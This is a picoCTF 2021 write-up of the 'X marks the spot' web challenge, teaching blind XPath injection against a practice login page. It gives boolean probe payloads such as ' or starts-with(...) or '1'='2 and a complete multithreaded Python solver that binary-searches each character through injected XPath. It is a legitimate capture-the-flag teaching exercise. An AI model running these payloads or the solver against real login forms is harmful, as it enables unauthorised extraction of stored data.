8 min read

picoCTF 2021 X marks the spot Writeup: Blind XPath Injection

A login page that isn't SQL. This picoCTF 2021 writeup covers spotting blind XPath injection, proving the oracle is real, and pulling the flag out one character at a time with a parallel solver.
picoCTF 2021 X marks the spot login page hinting it does not use SQL

This one is a Web challenge from picoCTF 2021: X marks the spot.

Open it up and it's pretty plain: a login page with two fields, username and password.

But the page deliberately drops in a suspicious line:

I don't use any of those regular old unsafe query languages!

That line is practically spelling it out: I'm not SQL. When you first see a login box, your instinct is to throw in a ' or 1=1--, but the real lesson here isn't "memorize one universal payload" — it's this:

Some query languages aren't SQL, but the injection logic is identical: even when the site will only answer you TRUE/FALSE, you can still pull the data out one character at a time. This challenge is blind XPath injection.

Challenge info

What is XPath Injection

XPath is a query language for searching XML documents. It's a bit like SQL — the difference is that SQL queries tables while XPath queries XML nodes.

For example:

/root/user[name='admin' and pass='password']

Roughly, this means:

Find the <user> under <root> where <name> is admin and <pass> is password.

If the backend splices user input straight into the XPath, you get XPath injection. Its root cause is really the same as SQLi:

A user-controlled string gets spliced straight into the query and changes the structure of the query

The only difference is that the query language switched from SQL to XPath.

Step 1: Look at the login page and the hints

First, lay out the clues the challenge gives us:

  • A login page with two fields, username and password
  • The hint: I don't use any of those regular old unsafe query languages!
  • The challenge is named X marks the spot
  • A Robert Frost poem is tucked into the source-code comments, full of words like road and path

Connect the dots:

Not SQL (the hint says so itself)
Keeps pointing at path (the title, the poem)
So could it be XPath?

This step doesn't require firing off any payload yet. We're just forming a hypothesis: this challenge is very likely XPath. Every step from here on is about confirming or disproving it.

Step 2: Check whether there's a boolean signal

The interesting thing about this challenge is that it doesn't just let us log in and hand over a page — instead it gives us a boolean signal.

First send a payload that's always true:

' or '1'='1

The site returns:

You're on the right path

Now send one that's always false:

' or '1'='2

The site returns a login failure.

Same input, one character different, and the response reliably changes. That means we can't necessarily see the query result, but we can get a yes/no — that's the flavor of blind injection: the page itself doesn't spit out the data, but it uses "two different responses" as its true/false answer.

Step 3: Confirm the XPath expression is really being executed

Just proving there's a "true/false difference" isn't enough, because that could also be caused simply by a wrong password. The next step is to prove that what we inject is actually being evaluated as XPath.

Test an XPath function that's guaranteed to be true:

' or starts-with('abc','a') or '1'='2

The response is TRUE (right path).

Now test one that's guaranteed to be false:

' or starts-with('abc','z') or '1'='2

The response is FALSE.

starts-with('abc','a') and starts-with('abc','z') differ only in the function's result, and the site's response tracks that result. That all but confirms it: the XPath expression we inject really is being executed by the backend. At this point the hypothesis holds — this is XPath injection, and it's blind.

Step 4: Figure out what we're actually asking

Before automating, let's use a toy example to spell out exactly how we ask the flag out of it.

Suppose the backend XML looks like this:

<root>
  <user>
    <name>admin</name>
    <pass>secret123</pass>
  </user>
  <flag>picoCTF{hat}</flag>
</root>

The backend query is probably something like this:

/root/user[name='admin' and pass='user input']

Normal input of abc turns into:

/root/user[name='admin' and pass='abc']

Nothing matches, so it fails.

But if you put this in the password field:

' or starts-with(substring-after(string(/*),'picoCTF{'),'h') or '1'='2

The backend splices it into something like:

/root/user[name='admin' and pass='' or starts-with(substring-after(string(/*),'picoCTF{'),'h') or '1'='2']

The heart of it is this piece:

starts-with(substring-after(string(/*),'picoCTF{'),'h')

Unpacking from the inside out:

string(/*) joins all the text under the XML root node into a single string, conceptually like:

admin secret123 picoCTF{hat}

substring-after(string(/*),'picoCTF{') pulls out the content after picoCTF{:

hat}

starts-with('hat}','h') asks whether that string starts with h, and the answer is TRUE.

The site won't print hat} to us directly, but through "right path" or "login failure" it tells us the TRUE/FALSE of that question.

So we're really playing a yes/no game:

Question Answer Inference
Does the part after picoCTF{ start with a? FALSE Not a
Does it start with b? FALSE Not b
Does it start with h? TRUE First char is h
Does it start with ha? TRUE Second char is a
Does it start with hat? TRUE Third char is t
Does it start with hat}? TRUE Done

In one sentence:

Each time we ask just one yes/no question, and by stacking up many yes/no answers we reconstruct the text hidden in the XML.

Step 5: Turn the character-by-character approach into a parallel one

The starts-with(prefix + candidate) approach from Step 4 has one drawback: each step depends on the previous one.

Without knowing the first char, you can't ask about the second
Without knowing the second char, you can't ask about the third

You can only work forward one position at a time, which is slow.

Ask it a different way and everything changes:

substring(flag_body, pos, 1)

Instead of asking "is the current prefix correct," it directly asks "what is the character at position pos," for example:

substring(flag_body, 5, 1)

This asks about the 5th character on its own — each position is independent of the others:

Position Question
1 What is character 1?
2 What is character 2?
3 What is character 3?
10 What is character 10?

Because the positions are independent, you can query them with multiple threads at once, with no need to wait for the previous one.

Going further, for each position you don't have to try all 95 printable ASCII characters one by one — you can use binary search:

contains('half of the candidate chars', substring(flag_body, pos, 1))

TRUE means the character is in the left half, FALSE means the right half. With 95 candidate characters, about 7 queries pin down one character. At this point the strategy is complete: first ask for the length, then binary-search the character at each position, running the positions in parallel.

Step 6: Automate extracting the whole flag

Turn the Step 5 strategy into a script. Here's what it does:

  1. First confirm that picoCTF{ is in the XML
  2. Use substring-before(..., '}') to grab only the content between { and }
  3. Binary-search the character at each position
  4. Use a thread pool to query different positions in parallel
  5. Don't keep the real flag in the output

First set the target and parameters:

BASE='http://wily-courier.picoctf.net:XXXXX'
WORKERS=8
VOTES=1

If the server's responses are unstable, lower the concurrency and raise the vote count:

WORKERS=6
VOTES=3

The script:

import os
import time
import threading
import requests
from concurrent.futures import ThreadPoolExecutor, as_completed

BASE = os.environ["BASE"].rstrip("/")
WORKERS = int(os.environ.get("WORKERS", "8"))
VOTES = int(os.environ.get("VOTES", "1"))
KNOWN = "picoCTF{"
CHARS = ''.join(chr(i) for i in range(32, 127))

_tl = threading.local()

def sess():
    s = getattr(_tl, "s", None)
    if s is None:
        s = requests.Session()
        _tl.s = s
    return s

def lit(s):
    if "'" not in s:
        return "'" + s + "'"
    if '"' not in s:
        return '"' + s + '"'

    parts = []
    for i, p in enumerate(s.split("'")):
        if i:
            parts.append('"\'"')
        if p:
            parts.append("'" + p + "'")
    return "concat(" + ",".join(parts) + ")"

AFTER = f"substring-after(string(/*),{lit(KNOWN)})"
BODY = f"substring-before({AFTER},{lit('}')})"

def one(expr):
    payload = f"' or {expr} or '1'='2"

    for _ in range(3):
        try:
            r = sess().post(
                BASE + "/",
                data={"name": "admin", "pass": payload},
                timeout=10,
            )
            return "right path" in r.text.lower()
        except requests.RequestException:
            time.sleep(0.25)

    raise RuntimeError("request failed")

def oracle(expr, votes=None):
    votes = votes or VOTES
    yes = 0

    for _ in range(votes):
        yes += one(expr)
        time.sleep(0.02)

    return yes >= (votes // 2 + 1)

def length_ge(n):
    return oracle(f"string-length({BODY})>={n}")

def get_length():
    if not oracle(f"contains(string(/*),{lit(KNOWN)})", votes=3):
        raise SystemExit("[!] cannot confirm picoCTF{")

    if not oracle(f"contains({AFTER},{lit('}')})", votes=3):
        raise SystemExit("[!] cannot confirm closing }")

    lo, hi = 0, 1

    while length_ge(hi):
        lo, hi = hi, hi * 2
        if hi > 256:
            raise SystemExit("[!] length too large, check target/noise")

    while hi - lo > 1:
        mid = (lo + hi) // 2
        if length_ge(mid):
            lo = mid
        else:
            hi = mid

    return lo

def char_expr(pos):
    return f"substring({BODY},{pos},1)"

def char_at(pos):
    pool = CHARS

    while len(pool) > 1:
        mid = len(pool) // 2
        left = pool[:mid]

        if oracle(f"contains({lit(left)},{char_expr(pos)})"):
            pool = left
        else:
            pool = pool[mid:]

    c = pool[0]

    if oracle(f"{char_expr(pos)}={lit(c)}", votes=3):
        return c

    for c in CHARS:
        if oracle(f"{char_expr(pos)}={lit(c)}", votes=3):
            return c

    return None

print("[+] probing body length...", flush=True)
L = get_length()
print(f"[+] body length = {L}", flush=True)

result = [None] * (L + 1)

with ThreadPoolExecutor(max_workers=WORKERS) as ex:
    futs = {
        ex.submit(char_at, pos): pos
        for pos in range(1, L + 1)
    }

    for fut in as_completed(futs):
        pos = futs[fut]

        try:
            result[pos] = fut.result()
        except Exception as e:
            print(f"[!] pos {pos} error: {e}", flush=True)

        print(f"[.] pos {pos:>2}/{L} = {result[pos]!r}", flush=True)

missing = [
    i for i in range(1, L + 1)
    if result[i] is None
]

if missing:
    print("[!] retry missing positions sequentially:", missing, flush=True)

    for pos in missing:
        result[pos] = char_at(pos)
        print(f"[.] retry pos {pos:>2}/{L} = {result[pos]!r}", flush=True)

body = ''.join(result[i] or '?' for i in range(1, L + 1))
print("[+] flag:", KNOWN + body + "}", flush=True)

if "?" in body:
    print("[!] still has ?. Try WORKERS=6 VOTES=3", flush=True)

How to run it:

BASE='http://wily-courier.picoctf.net:XXXXX'
WORKERS=8
VOTES=1

BASE="$BASE" WORKERS="$WORKERS" VOTES="$VOTES" python3 solver.py

When it finishes it reconstructs the flag position by position. If the output still contains a ?, it means some positions didn't resolve stably under the noise — follow the hint and rerun with WORKERS=6 VOTES=3.

Key takeaways

The most valuable thing to take away from this challenge isn't XPath syntax — it's this way of thinking:

Are you XPath?
Will you give me a stable true/false?
Does the function I inject actually get evaluated?
Can I ask character by character?
Can I ask out of order, and in parallel?

Next time you see a feature that only answers true/false, pay special attention to:

  • Login, search, filter — is the feature backed by XML + XPath?
  • When the page hints at "no SQL," "query language," "path," "XML," or "document," is it pointing at a query language?
  • Even without an error message, as long as the response has two stable states, it could be a blind-injection channel.